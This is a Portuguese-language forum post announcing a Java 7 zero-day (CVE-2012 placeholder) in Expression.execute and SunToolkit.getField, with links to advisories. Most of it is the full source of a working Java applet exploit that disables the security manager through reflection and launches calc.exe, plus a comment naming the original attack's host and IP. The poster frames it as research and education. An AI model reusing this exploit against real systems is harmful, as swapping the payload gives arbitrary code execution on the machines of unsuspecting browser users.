Jump to content
  • Revista PROGRAMAR: Já está disponível a edição #60 da revista programar. Faz já o download aqui!

Sign in to follow this  
apocsantos

Publicada Exploit ZeroDay para Java

Recommended Posts

apocsantos

Oracle Java JRE 1,7 Expression.execute () e SunToolkit.getField () falham a restringir o acesso ao código privilegiado

Já existem várias publicações sobre este exploit, apesar de não haver ainda um patch definitivo, já existe patchs alternativos. Este exploit apenas afecta browsers e aplicações que corram JDK e JRE.

Link do alerta da Oracle

Link para o US-CERT onde se encontram disponiveis patch's não oficiais e mais informações

Link para blog com mais informações e informação de como verificar se se está vulnerável

Abaixo fica o código que se encontra disponivel, sobre o exploit, para que quem se interesse possa estudar, apenas para fins de pesquisa.

//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
   public Gondvv()
   {
   }
   public void disableSecurity()
    throws Throwable
   {
    Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
    AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
	    localProtectionDomain
    });
    SetField(Statement.class, "acc", localStatement, localAccessControlContext);
    localStatement.execute();
   }
   private Class GetClass(String paramString)
    throws Throwable
   {
    Object arrayOfObject[] = new Object[1];
    arrayOfObject[0] = paramString;
    Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
    localExpression.execute();
    return (Class)localExpression.getValue();
   }
   private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
    throws Throwable
   {
    Object arrayOfObject[] = new Object[2];
    arrayOfObject[0] = paramClass;
    arrayOfObject[1] = paramString;
    Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
    localExpression.execute();
    ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
   }
   public void init()
   {
    try
    {
	    disableSecurity();
	    Process localProcess = null;
	    localProcess = Runtime.getRuntime().exec("calc.exe");
	    if(localProcess != null);
		   localProcess.waitFor();
    }
    catch(Throwable localThrowable)
    {
	    localThrowable.printStackTrace();
    }
   }
   public void paint(Graphics paramGraphics)
   {
    paramGraphics.drawString("Loading", 50, 25);
   }
}

Segundo li esta manha, ainda existem demasiados equipamentos vulneráveis e uma vez que já existe patch para a falha em causa, pareceu-me bem, partilhar o conhecimento.

Este post destina-se apenas a fins informativos e educativos, sendo o uso da sua informação bem como informação constante nos links disponibilizados, da responsabilidade de quem a utilizar.

Cordiais cumprimentos,

Apocsantos


"A paciência é uma das coisas que se aprendeu na era do 48k" O respeito é como a escrita de código, uma vez perdido, dificilmente se retoma o habito"

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.